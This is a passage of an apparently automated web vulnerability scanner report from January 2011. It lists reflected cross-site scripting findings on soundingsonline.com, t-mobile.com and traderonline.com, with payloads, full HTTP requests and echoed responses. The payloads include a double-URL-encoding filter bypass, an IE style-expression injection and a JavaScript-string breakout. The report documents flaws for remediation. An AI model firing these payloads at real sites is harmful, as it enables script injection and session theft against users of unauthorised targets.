Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/news/dispatches
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1f10d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5d1219e4f8e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 1f10d"><script>alert(1)</script>5d1219e4f8e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /news/dispatches?1f10d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5d1219e4f8e=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:32:19 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:32:19 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1437. http://www.soundingsonline.com/news/home-waters [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/news/home-waters
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fc440%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed4fc62980f3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as fc440"><script>alert(1)</script>d4fc62980f3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /news/home-waters?fc440%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed4fc62980f3=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:25:14 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:25:14 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1438. http://www.soundingsonline.com/news/mishaps-a-rescues [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/news/mishaps-a-rescues
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6e5db%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ecfbc5b7ba90 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 6e5db"><script>alert(1)</script>cfbc5b7ba90 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /news/mishaps-a-rescues?6e5db%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ecfbc5b7ba90=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:28:14 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:28:14 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1439. http://www.soundingsonline.com/news/sailing [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/news/sailing
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bab04%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e677f804dff5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as bab04"><script>alert(1)</script>677f804dff5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /news/sailing?bab04%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e677f804dff5=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:29:44 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:29:44 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1440. http://www.soundingsonline.com/news/todays-top-stories [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/news/todays-top-stories
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f32ed%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea3e3aae6e23 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as f32ed"><script>alert(1)</script>a3e3aae6e23 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /news/todays-top-stories?f32ed%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea3e3aae6e23=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:25:00 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:25:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1441. http://www.soundingsonline.com/resources [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/resources
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9db0b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e03dbd69e9aa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 9db0b"><script>alert(1)</script>03dbd69e9aa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /resources?9db0b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e03dbd69e9aa=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:39:31 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:39:31 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1442. http://www.soundingsonline.com/site-map [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/site-map
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1055c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7769fd725aa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 1055c"><script>alert(1)</script>7769fd725aa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /site-map?1055c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7769fd725aa=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:39:09 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:39:09 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1443. http://www.soundingsonline.com/subscription-services/preview-current-issue [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/subscription-services/preview-current-issue
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eeb93%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6761baa2a47 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as eeb93"><script>alert(1)</script>6761baa2a47 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /subscription-services/preview-current-issue?eeb93%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6761baa2a47=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:48:23 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:48:23 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1444. http://www.t-mobile.com/Company/Community.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.t-mobile.com
Path:
/Company/Community.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2daf"style%3d"x%3aexpression(alert(1))"008dbd21a92 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as b2daf"style="x:expression(alert(1))"008dbd21a92 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /Company/Community.aspx?b2daf"style%3d"x%3aexpression(alert(1))"008dbd21a92=1 HTTP/1.1 Host: www.t-mobile.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 9fd2b<script>alert(1)</script>660c9db3cc8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /about9fd2b<script>alert(1)</script>660c9db3cc8/ HTTP/1.1 Host: www.traderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_nr%3D1295884803685%7C1298476803685%3B%20s_lv%3D1295884803686%7C1390492803686%3B%20s_lv_s%3DFirst%2520Visit%7C1295886603686%3B; __utmz=144997931.1295884751.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; s_sess=%20s_cc%3Dtrue%3B%20s_evar2%3DData%2520Not%2520Available%3B%20s_evar3%3DData%2520Not%2520Available%3B%20s_evar4%3DData%2520Not%2520Available%3B%20s_sq%3D%3B; s_vi=[CS]v1|269ED0D58501209E-6000010F000341E3[CE]; OAX=rcHW8009oaoAAx1V; __utma=144997931.534060529.1295884751.1295884751.1295884751.1; __utmc=144997931; __utmb=144997931.3.10.1295884751;
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:31 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 27585
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/about9fd2b<script>alert(1)</script>660c9db3cc8/</span> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 21819<script>alert(1)</script>5aa6dc8921c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /about21819<script>alert(1)</script>5aa6dc8921c/feedback/ HTTP/1.1 Host: www.traderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_nr%3D1295884803685%7C1298476803685%3B%20s_lv%3D1295884803686%7C1390492803686%3B%20s_lv_s%3DFirst%2520Visit%7C1295886603686%3B; __utmz=144997931.1295884751.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; s_sess=%20s_cc%3Dtrue%3B%20s_evar2%3DData%2520Not%2520Available%3B%20s_evar3%3DData%2520Not%2520Available%3B%20s_evar4%3DData%2520Not%2520Available%3B%20s_sq%3D%3B; s_vi=[CS]v1|269ED0D58501209E-6000010F000341E3[CE]; OAX=rcHW8009oaoAAx1V; __utma=144997931.534060529.1295884751.1295884751.1295884751.1; __utmc=144997931; __utmb=144997931.3.10.1295884751;
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:42 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 27594
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/about21819<script>alert(1)</script>5aa6dc8921c/feedback/</span> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload e07a2<script>alert(1)</script>81ab1500d55 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /about/feedbacke07a2<script>alert(1)</script>81ab1500d55/ HTTP/1.1 Host: www.traderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_nr%3D1295884803685%7C1298476803685%3B%20s_lv%3D1295884803686%7C1390492803686%3B%20s_lv_s%3DFirst%2520Visit%7C1295886603686%3B; __utmz=144997931.1295884751.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; s_sess=%20s_cc%3Dtrue%3B%20s_evar2%3DData%2520Not%2520Available%3B%20s_evar3%3DData%2520Not%2520Available%3B%20s_evar4%3DData%2520Not%2520Available%3B%20s_sq%3D%3B; s_vi=[CS]v1|269ED0D58501209E-6000010F000341E3[CE]; OAX=rcHW8009oaoAAx1V; __utma=144997931.534060529.1295884751.1295884751.1295884751.1; __utmc=144997931; __utmb=144997931.3.10.1295884751;
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:46 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 27594
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/about/feedbacke07a2<script>alert(1)</script>81ab1500d55/</span> ...[SNIP]...
4.1448. http://www.traderonline.com/about/feedback/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.traderonline.com
Path:
/about/feedback/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 797b8"%3balert(1)//59346c5fa60 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 797b8";alert(1)//59346c5fa60 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /about/feedback/?797b8"%3balert(1)//59346c5fa60=1 HTTP/1.1 Host: www.traderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_nr%3D1295884803685%7C1298476803685%3B%20s_lv%3D1295884803686%7C1390492803686%3B%20s_lv_s%3DFirst%2520Visit%7C1295886603686%3B; __utmz=144997931.1295884751.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; s_sess=%20s_cc%3Dtrue%3B%20s_evar2%3DData%2520Not%2520Available%3B%20s_evar3%3DData%2520Not%2520Available%3B%20s_evar4%3DData%2520Not%2520Available%3B%20s_sq%3D%3B; s_vi=[CS]v1|269ED0D58501209E-6000010F000341E3[CE]; OAX=rcHW8009oaoAAx1V; __utma=144997931.534060529.1295884751.1295884751.1295884751.1; __utmc=144997931; __utmb=144997931.3.10.1295884751;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:10:30 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 35390
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Contact Us at TraderOnline.com</title> <meta name="description" content="Trader Online is the leader in online ...[SNIP]... <SCRIPT>DisplayAds("traderonline","www.traderonline.com/", "", "", "?797b8";alert(1)//59346c5fa60=1&","Right1","0","0")</SCRIPT> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload d1abb<script>alert(1)</script>dc321d330e0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /aboutd1abb<script>alert(1)</script>dc321d330e0/magazines/ HTTP/1.1 Host: www.traderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_nr%3D1295884803685%7C1298476803685%3B%20s_lv%3D1295884803686%7C1390492803686%3B%20s_lv_s%3DFirst%2520Visit%7C1295886603686%3B; __utmz=144997931.1295884751.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; s_sess=%20s_cc%3Dtrue%3B%20s_evar2%3DData%2520Not%2520Available%3B%20s_evar3%3DData%2520Not%2520Available%3B%20s_evar4%3DData%2520Not%2520Available%3B%20s_sq%3D%3B; s_vi=[CS]v1|269ED0D58501209E-6000010F000341E3[CE]; OAX=rcHW8009oaoAAx1V; __utma=144997931.534060529.1295884751.1295884751.1295884751.1; __utmc=144997931; __utmb=144997931.3.10.1295884751;
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:41 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 27595
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/aboutd1abb<script>alert(1)</script>dc321d330e0/magazines/</span> ...[SNIP]...
